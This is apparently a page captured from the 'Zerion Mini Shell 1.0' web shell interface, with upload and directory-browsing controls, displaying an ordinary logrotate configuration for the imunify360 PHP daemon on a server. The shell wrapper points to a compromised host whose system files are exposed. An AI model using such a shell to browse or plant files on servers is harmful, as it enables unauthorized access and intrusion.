Mini Shell

Direktori : /proc/self/root/etc/logrotate.d/
Upload File :
Current File : //proc/self/root/etc/logrotate.d/imunify360-php-daemon

/var/log/imunify360/php-daemon_db.log {
    # Keep 3 lotated files before removal
    rotate 3
    maxsize 150M
    hourly
    compress
    delaycompress

    nocreate
    missingok

    postrotate
        if systemctl status imunify360-php-daemon > /dev/null ; then \
            systemctl restart imunify360-php-daemon > /dev/null; \
        fi;
    endscript
}

Zerion Mini Shell 1.0